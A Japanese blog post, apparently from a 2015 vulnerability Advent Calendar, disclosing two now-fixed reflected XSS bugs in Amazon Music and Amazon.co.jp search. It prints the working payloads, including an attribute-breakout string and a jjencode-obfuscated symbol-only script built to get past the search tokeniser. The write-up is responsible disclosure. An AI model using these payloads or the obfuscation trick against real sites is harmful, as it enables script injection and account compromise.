Help us understand the problem. What is going on with this article?

<script>alert(1)</script>のお求めはAmazon CDストア

More than 3 years have passed since last update.

本記事は脆弱性"&'<<>\ Advent Calendar 2015の15日目の記事です。

11/18にAmazonがリリースしたAmazon Musicというサービスに関連するXSSを2つ発見・報告したのでそのお話です。

1. Amazon MusicにあったXSS

このページから

2_search_box.png

"><_><script>alert(document.domain)</script>と検索すると

3_alert.png

alertが出ました。

画面右側のペイン内にて、aタグのhref attribute内に検索クエリを出力している箇所にあるバグに起因しています。この文字列は本来何らかの処理を通じてエスケープされていたのですが、適当に<hoge>のような文字列を一つ挟むとaタグのhref attributeから漏れて出力されていました。

4_strike.png

11/19に発見・報告し、11/26に修正されました。
何故かAmazonのセキュリティ担当の手元では中々再現せず(localeやCDNの問題かもしれない)、「再現しないで」「あるで つスクショ」や「直したで」「直ってないで つスクショ」のようなやり取りを4、5回ほど繰り返しました。

2. Amazon.co.jp本体、「デジタルミュージック」カテゴリでの検索にあったXSS

上記XSSを発見・報告して一息つき、何の気なしにトップページから<script>alert(1)</script>と検索したところ

alert1.png

alertが出ました。

まさか一切の工夫も無く、scriptタグで検索するだけでalertが出るとは……。ところが、検索クエリを<script>alert(document.domain)</script>に変えると今度はalertが出ませんでした。どうやら検索により商品がヒットしたか否かで「"hoge"の検索結果」と出力したりしなかったりするようです。

s_tag.png

つまり、alertを出すためには検索クエリがvalidなJavaScriptでありつつ、同時にAmazon.co.jp内の商品がヒットするようなクエリである必要があるようです。<script>alert(1)</script>では"High Alert Status"というレーベルの"Degree of the Streets Vol 1 [Explicit]"というアルバムの"Script Ta Unscripted" という楽曲が奇跡的に存在したおかげでうまくいきました。

さて、<script>alert(1)</script>という検索クエリではscript, alert, 1という3つのトークンにより検索が行われた事が検索結果から想像されます。記号の部分は検索の上では無視されているようです。
複雑なJavaScriptでは商品がヒットしない。記号は無視される。それでは、記号のみを用いてJavaScriptを記述すれば良いのではないか?というわけで、jjencodeを使用しました。

以下の記号のみからなる文字列はvalidなJavaScriptであり、alert(document.domain)と等価です。これを検索ボックスに撃ち込みます。

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();

alert.png

jjencodeを用いた、<script>alert(document.domain)</script>と等価なクエリによりalert(document.domain)を出すことができました。これ以上の調査はしていませんが、恐らく長さの制限の範囲内で任意のJavaScriptの実行が可能だったと思います。

omotome.png

<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();</script>のお求めはAmazon CDストア」とのことです。

11/19に発見・報告し、11/23に修正されました。
正直alert(1)が出せた時点で報告しても良かったと思いますが、jjencodeのくだりはCTFのようで楽しかったです。

結論・所感

Amazonにもバグバウンティ制度があればと思いました。

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
No comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
ユーザーは見つかりませんでした